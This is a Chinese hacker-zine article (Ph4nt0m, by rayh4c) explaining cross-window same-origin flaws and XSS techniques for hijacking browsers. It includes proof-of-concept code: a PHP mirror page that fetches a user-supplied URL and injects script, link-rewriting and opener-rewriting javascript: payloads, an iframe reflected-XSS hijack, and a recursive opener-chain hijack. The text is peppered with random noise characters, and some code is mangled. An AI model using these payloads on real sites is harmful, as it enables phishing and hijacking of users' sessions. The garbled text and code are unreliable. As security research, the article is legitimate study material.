==Ph4nt0m Security Team==
8 ^- z: m H9 ]4 `) u* p' B# X ( |$ G8 ~+ v2 A
Issue 0x03, Phile #0x05 of 0x07
7 W1 s+ `: m! J: O. z' }. k2 a
7 Z( P1 n( L0 C3 w# e! U8 c! I! Y
0 w- q1 @! s6 Y- S' ?2 |* E3 f|=---------------------------------------------------------------------------=|
( j% {0 U0 ?- l1 V, a|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|
: H/ _3 t |0 A# q0 r|=---------------------------------------------------------------------------=|
9 Z( i2 f( m: U: G* Q0 k; x) `|=---------------------------------------------------------------------------=|
: ]" f3 i& o4 w; l|=------------------------=[ By rayh4c ]=---------------------------=|' k3 C- {6 E/ ^5 P- O/ q+ y
|=----------------------=[ <rayh4c#80sec.com> ]=------------------------=|& ~) Q( m0 P& |! y% s5 A
|=---------------------------------------------------------------------------=|! y9 x$ c& ^9 A' C2 F
$ V7 D f% N3 [( P" Z& {
! J5 | s" r0 D% o. m1 K
[目录]# M) W% v' O7 l$ t% \; o; \
& J3 H8 w* }; H/ N1 d1. 前言
0 u$ u7 [& F8 c7 K* k3 n2. 同源策略简叙1 c0 y. C! F+ @: E7 H! S- r
3. 理解window对象的同源策略7 X0 u7 U% G9 n1 V2 k! C
4. 窗口引用功能中的同源策略漏洞( o' t8 D" T5 ]1 v: [; |
4.1 父窗口引用子窗口的同源策略问题
; }; O* A. _$ k% A% K4 l/ `$ D 4.2 子窗口引用父窗口的同源策略问题
5 x- p/ d$ t' _" T! A* }5. 利用窗口引用漏洞劫持浏览器/ h7 }) s5 c& M- A
6. 利用XSS漏洞劫持浏览器$ m/ e$ _5 }7 n v& `; m
6.1 正向跨窗口劫持
3 o4 x l- x+ p# y9 Y 6.2 反向跨窗口劫持
/ C4 W2 T' Z& T1 w6 ] 6.3 极度危险的跨框架窗口引用劫持% s# g( ]9 n q* M, e2 ^7 a& f8 k
6.4 极度危险的正反向跨窗口递归劫持' w( I( e: S5 t! r
6.5 完全控制浏览器8 @+ U7 }) t+ h0 C
7. 后记
" [- g( A% ^ a% I& e0 s( U8. 参考# P! @7 D# |* r
) v @5 o2 g4 n# v4 _- p( M
& `/ p8 K, h9 d$ _% a一、前言
+ M( o1 f. i; V
: M2 `1 V/ t9 U- B3 v9 I 最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋4 w" o' B# v% r, `$ c: |4 @3 |
友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session
( K/ x, V/ d, |劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被
/ A$ R5 h; L/ v条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。
]: o0 F" `7 J! C6 U+ K
; j! a) }- x y8 b; n5 S0 _# t+ I1 m2 A
二、同源策略简叙8 m! Y# W# n2 O; Q" G$ D
& U7 @. N. f$ C: @$ U
同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以/ j- J; G6 B, Q2 l# U, h% V
从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都
7 d3 ~2 J2 Y. l; K4 e( N曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木
3 _: { D8 t7 O( ~% a/ @& P马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个
& X7 O0 w1 E8 _2 D, Q) o9 |3 f3 M漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。0 g% b5 `" f. i, o8 O- g1 {! x
% x7 z6 ~ I7 F. z k% x
# e& Q# E) M, D5 w4 W三、理解window对象的同源策略; S, e" @* Z& {9 P/ i/ \
4 p# }' m* ~2 N- h/ F2 b, Y( d" ?
窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对, z1 @8 E) U4 j& U- m4 a% u
象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:/ p+ T6 z/ ]. ?$ P% { P. W
- p3 C/ }9 { M0 C B' X
--code-------------------------------------------------------------------------. I2 x9 ^" D( C, n [) r
<script language="javascript">
5 a0 N& r+ y$ ]: f9 y* ?4 gfor(p in window) document.write(p+"<br>");
% G- g* X3 F# L/ g/ j# F</script>7 F; v/ a4 r, q) J9 X) I0 K
-------------------------------------------------------------------------------
; S9 Y7 R, m; T3 l' I' B$ S) \: I# w# [2 M+ f
这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方
( _. A' ?0 e* X( B$ L' e/ X6 u/ p; z法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,
3 v! o$ Q M9 R这些属性和方法就必须遵循同源策略。
- K. n$ Y: U3 p9 a* J* j" V0 C$ @& k- {4 p
举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那
7 x# ]/ e+ W2 Y t么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须
5 _* ?( k) Q3 @4 d的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这
% w' o% g3 r( E! A) `, I7 W% s个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的0 ]$ @+ I' l" F- ?; r( s8 F' y
值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location
( c; B+ g; {* E8 r/ x属性并没有被拒绝访问。
4 \: K# G+ ?4 R8 v& ~. z% U: U+ G* i8 S5 I
--demo.html--------------------------------------------------------------------2 G6 m/ l* e0 Z- ]
<script language="javascript">
: U" u0 r: |$ R7 Y* C5 O2 R$ ]function allPrpos(obj) { 7 P8 u7 v+ H% {/ G2 i& {
var props = "<table><tr><td>名称</td><td>值</td>"; 4 X8 R1 K, D# i9 X" Z$ l8 Q5 x( X
for(var p in obj){ : `" V3 [" I) Y8 i4 K
if(typeof(obj[p])=="function"){ & \- B6 ~4 L" v# c$ a+ b# `% {
obj[p]();
( a: U! N3 R8 X' P' r; G }else{
/ n3 y% F) S+ M3 ^ try 7 [" y3 S6 f* \; ~4 e
{ * _, n( z/ L/ k$ e& N0 V3 p: ]
props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";
# x6 F) S8 u4 @1 ~" ^5 v* G } $ N, K$ t7 s# U6 H* F% n% X
catch (ex)
( y, c4 d" h; Y: F' D {
5 u( S2 V' Q; f' K6 S
) K/ h* C6 ?1 x, H& C0 b( G7 f0 R! F props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>"; 8 ^6 Q) L& V, Q7 T
} / \# m; \. A7 i
3 ~. k+ u( T @- T
}
# z: V( g$ [* R# ]: o7 X }
& k& ?0 e! Z4 H Y
* C$ W/ Y3 j8 [/ G: a9 Y document.write(props+"</table>");
# ^$ H$ T' n, C- S. V' }} / A( M7 e. U5 }8 i, q9 F
+ b+ {- ^1 W- ~ \; Ofunction createWin() {
/ V6 I; b6 H5 k9 i# c newWin = window.open ("http://www.google.com");
3 O+ L0 A6 E: q7 X) R setTimeout(function(){allPrpos(newWin)},2000);
: p9 u1 T/ z5 f3 V. g# G9 t} , r. T1 C& }8 L8 |5 G8 `
: I# T5 W" I T6 Z Z! z! c</script>
% _( _- ^1 r( J6 |9 h7 ]3 l* z- k; S7 n/ g% b# J* s' x; C' y d
<button onclick='createWin()'>创建一个非同源子窗口测试</button>& q5 g! n) @0 X
-------------------------------------------------------------------------------
( P" u1 c8 s3 p: O7 D2 f( ~( p% b- }' Z2 n& e( c
: Q& z+ {6 m( N) w四、窗口引用功能中的同源策略漏洞
4 ?3 Y9 w& A) m( t, Y! Q, T7 \; q& ~' W
4.1 父窗口引用子窗口的同源策略问题) f) J8 o! b6 }' _- F M
5 Y* r7 c. ^# }; `9 \
去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,
! C7 _, m- b8 \2 F% z4 a/ Z但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道7 w6 z s1 r# Y* E; `3 u
浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进* g! c" U( L. S, }6 @ m! c
行测试,会发现父窗口可以控制非同源子窗口location属性值。
6 |# O" u6 Z4 `
( `$ j+ m5 Y0 ]6 P( }--vul1.html--------------------------------------------------------------------& P$ A8 X: Q; o0 e4 i I3 a9 ]
<script language="javascript">
; G0 t9 W- H& c" ffunction createWin() {
# Z! T( B- n' I! V; l+ Y( b newWin = window.open ("http://www.google.com");
8 D8 ~* l8 R2 |% @4 m5 O setTimeout(function(){newWin.location="http://www.80sec.com"},2000);
0 k' s8 R5 c+ f# F; g- C8 D}
9 K+ f: j# w! n</script>
5 V7 _& G$ b8 w" n. i, ~; p' E" L
! v! b* n0 Y$ j' G4 T# T<button onclick='createWin()'>创建一个非同源子窗口测试</button>6 |5 Q9 F v/ J3 P5 P1 N7 G. W
-------------------------------------------------------------------------------8 n# S$ b: h0 m0 y+ F' K0 a5 m
+ `/ ]4 I! H S! Q
: {6 D4 \: c) t @1 t4.2 子窗口引用父窗口的同源策略问题
& e9 F! t7 j8 [# T9 ]( z/ H% [( T% b4 R! M2 O7 _3 {# f
逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使
8 l4 S% e( C1 x/ Q' l! t. b用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们6 r0 y, V3 {+ e& y
可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定) T, z. O1 d/ }
会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。
2 w4 p" \, H+ i0 X2 b& ?8 S5 H$ t1 q
" `) t$ R& R: D2 ^6 [--code-------------------------------------------------------------------------
* W5 E3 H5 R6 W9 P& q" J' S0 x# @( q8 }% q2 w! `+ K4 t) Y
javascript:window.opener.location = "http://www.80sec.com";void(0);
. X" j2 q9 a" k" k2 o/ Y y$ ?
' y, F; \+ ?& y+ R! _-------------------------------------------------------------------------------
5 P/ t C, n2 M1 _. O( V# \4 f3 M' s4 \4 `" q
. l/ ]3 b5 g6 U9 \五、利用窗口引用漏洞劫持浏览器 B1 @% Z/ \# E1 Z+ k" j$ i
. b% z& `6 h) n {4 ~ 经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子" l8 ^/ ^( u/ e1 M0 e
窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那
& r* s2 o/ X2 L么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。
$ q5 t. ^' |9 ?/ q# g; v/ G
' v4 h0 |. L7 Z; P6 m1 _5 F 我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产
# r: M: T3 m: J生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或
& Q$ L( r7 D( Y+ P, M C者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接
( B, | D% X4 k1 f后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下
; H8 w( f3 l7 u9 H) q- Y; \4 X会产生什么可怕的后果。4 n" W J% a, W1 {) t) @- e
2 U! _3 N" z' a) j4 J
下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我
% J( n0 `- S J- i" X) H: i们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php4 ~$ m; j& R& y4 ^# B, n g
这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时$ ^, _7 a2 X/ M# w6 @5 O" Q9 k9 Y
候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可 y8 X& o0 g; V
以做更多的事情,所有的一切仅仅是因为点击了一个链接。" @: k7 E0 R6 I
$ ?1 k$ ?. U5 L. l: S$ m( a
--hjk_ref.php------------------------------------------------------------------
f; W [! O' A/ ^4 I+ T5 [<?php2 X, R% `5 @5 ^/ v, r4 m7 K
if (array_key_exists("HTTP_REFERER", $_SERVER)) {. x, w6 _+ z: ]: U9 A; k
$Url_Mirror = $_SERVER["HTTP_REFERER"];" m P A7 |" d( ~2 \8 S" C
} % U, j& y6 o9 ^
if(isset ($_GET['ref'])) {8 g1 H( @9 ~3 ~. O* R
echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';8 O9 y& s7 I9 C3 F
}$ l9 g( l1 r( `
?>3 o* t2 K- T3 W( j& `' \3 r4 Y
4 d Z: N/ [! @% H8 S& y
<script language="javascript">; X8 t# x! F$ X5 Z
setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000); 1 ~. H* j3 B4 Y2 w Q
</script>
3 T _: M# g+ \1 G# r$ t-------------------------------------------------------------------------------
3 d0 e- p j$ i P7 h1 Z9 \/ l- N% `$ P# ^1 o9 ~1 @
注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。
) x) C: s* [. O9 `* P
. z% u7 t4 i2 b' P
2 s$ Z" e" @ g, V六、利用XSS漏洞劫持浏览器
# H! u& b* K, c& y2 Y* u" ?/ R t. Q7 a% g* K# f
延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为" z% ^7 K& ?6 e! f
持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后
* i! D# @0 c/ d$ TXSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起- S" _: ^& x+ q3 V( {4 x
讨论跨站师的终极技巧:2 F6 L* n3 v2 N& j; l' w3 a: n* k/ |
& S3 q- v1 ?4 i2 [- R3 t1 d# g6 d9 c
6.1 正向跨窗口劫持
. G# X7 I8 o- Y& F" a6 k a7 b+ b' }: y. @
大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛
! G/ N( v- E1 P2 G# o# g# k主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链
4 q3 F1 U: H& K" D# z7 Q b接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话- w% ~/ T7 O2 `5 ^
框脚本。
$ S/ v' W# d% q' r: R+ H2 q# N+ y1 |; G2 U: s5 u+ u
--hijack_open.js---------------------------------------------------------------
; g+ B6 v: l" @8 V6 N& K( c$ r2 V" j7 m7 F7 E# p
javascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);
! i+ P" }5 w. s" V; X- A# H5 ]/ [, g4 q& q0 A1 e
-------------------------------------------------------------------------------
8 D Y( a7 x2 B+ K# u2 G+ y+ W+ ]0 W" H) R. c9 Y% R7 i
; {% x1 ?- K3 m0 ?- ]7 e6.2 反向跨窗口劫持
3 `8 x r4 f7 n( T( y! O8 i6 Y6 ]" |& j5 q7 U
同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代& n; P$ `; K4 f% V
码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话
$ Y; m& r% j* U框脚本。8 M/ x- \# @+ S% G5 Q, V5 P
4 N& I/ h( j! h% H N# E--hijack_opener.js-------------------------------------------------------------7 h4 u6 B# L; q) G z
4 k: B5 ^$ v0 b x7 K% D* K
javascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);* D/ c" v5 \4 f* c0 X
4 |0 d9 _) S9 V0 t: ^2 E
-------------------------------------------------------------------------------
6 z" Q& W1 W' L/ \, H( y& R. L$ {# ]: v% A* _, ], a
& B; H6 v3 N$ k! l6.3 极度危险的跨框架窗口引用劫持
' U4 Z8 \8 W4 @6 _
9 }% C9 W: \2 ?1 r3 ~6 u5 f6 ^ 非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞/ w6 D. `# ^- F V, r& Z
可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就 L4 C2 o- f7 G) P
适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个
. h- `; V1 }5 p y# \非持久型的XSS,如下:7 D9 \+ C% A8 }2 U4 _6 k
$ S/ ?) U( G4 Z/ s<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>
# \4 V6 z9 \7 l0 C _
. A3 Q5 R4 Q0 `% P; | 在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口9 U3 {: O3 A3 X+ P
注入脚本。$ k' Y- C, X R8 t/ b8 N
' P! j r! Y* _; }' Z--hijack_frame_opener.js-------------------------------------------------------- w Z: u5 ~* Z3 H( h
<script>
' A2 l$ u; `7 D, Twindow.parent.opener.location="javascript:alert('I had been hijacking your browser!')";
! A( ?4 U, d& d1 Z</script>
: H( j9 L8 D$ {( P1 Z) F# H+ L g-------------------------------------------------------------------------------$ ?# u% k3 r/ L# l. \) e
+ B( }8 P9 g0 V0 q
' E0 t/ ]6 T/ l. A7 P
6.4 极度危险的正反向跨窗口递归劫持
) I7 ^7 Z4 M3 J8 x* M0 J; S- [( Y1 B: r- ?
luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window& o* G- f" c. h; E8 e
的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过$ b& j7 H( M* }( S
异常处理规避之间跨域页面的访问异常,代码如下:
+ q4 G+ d, H0 G8 [9 B# Z! k8 x2 B8 Q' n- |9 ~# |( F
--code-------------------------------------------------------------------------- z; a- A% H) P
- ^8 ^" ^ s( {/ v" r4 ^" }9 o( F
javascriptfunction(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);
5 v3 D& a2 {( l3 H4 I4 {2 s( w3 }5 D% l- P, l
-------------------------------------------------------------------------------
. Z: L8 Q& r$ S' z2 x
/ u$ K& p* k- F6 |0 E( y( ~ 假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可
) l2 ^ F( s. x3 L0 a% ]" e以劫持B域之前的A域页面,从而实现“隔空打击”。
8 ?9 I! L" @; i/ v; K$ R* Z( Y* h) \* Z7 H( x
同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面
1 k0 w- d& d5 V; ]" p- N/ B执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。
& K: r3 h" o- ]/ _+ P% x; x, I7 e/ Y6 z+ k$ r3 p( \
结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。
7 e5 @) {; f$ k/ B; G
; b- ?% d) l& q8 E' F$ L
) X! \0 \0 h; K [$ c+ h, U6.5 完全控制浏览器" r; N/ |5 i* i/ S: P
* O/ Q* Y: O+ G* ~# C8 b% j 一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则
) L* v& T4 a! R0 j7 N是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS
, p. Y2 }2 z) M, q$ C漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失) P5 Y4 A5 A( t
而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再3 z5 c& H3 `+ K0 ^$ q1 F, ~- B7 w
列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站
1 h6 C8 w9 r+ V$ h师的终极目标 - 完全控制浏览器。8 [7 U1 t1 w: K1 H3 ^0 n
# k) f5 a8 l4 X6 k3 z$ O- Q* m
! A% H6 Y. j% }七、后记
4 v: n4 j3 j8 _) ^! H0 w3 g. p8 C+ f0 d: p
文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全
# E7 A) q) ^4 X& `. D与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予
, b" R4 |7 n5 M1 C( r过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。
* G8 Q8 w y, k" @+ K( @
& ?! N: L7 G9 W: U" f1 ?% F8 k1 ]9 j+ v- r' b: H- o
八、参考8 V8 D! v5 [. V: E' D
- n+ e; Y4 o x7 r
1. http://en.wikipedia.org/wiki/Same_origin_policy1 d# ~5 O% {/ \! g8 w4 E
2. http://code.google.com/p/browser ... licy_for_DOM_access8 e( S: I$ W! k+ K/ U
3. http://www.w3.org/TR/Window/
9 U; r: O+ a+ s$ E3 i8 a% b4. http://www.80sec.com/release/browser-hijacking.txt
/ c/ t8 V$ f! T J. T7 K2 o, P5. http://www.80sec.com/all-browser-security-alert.html
3 n' Q3 a, a7 l4 B; P6. http://www.80sec.com/ms08-058-attacks-google.html
7 W* h/ ~- F% T5 A0 P Y
, [7 w8 X9 ~/ j-EOF- |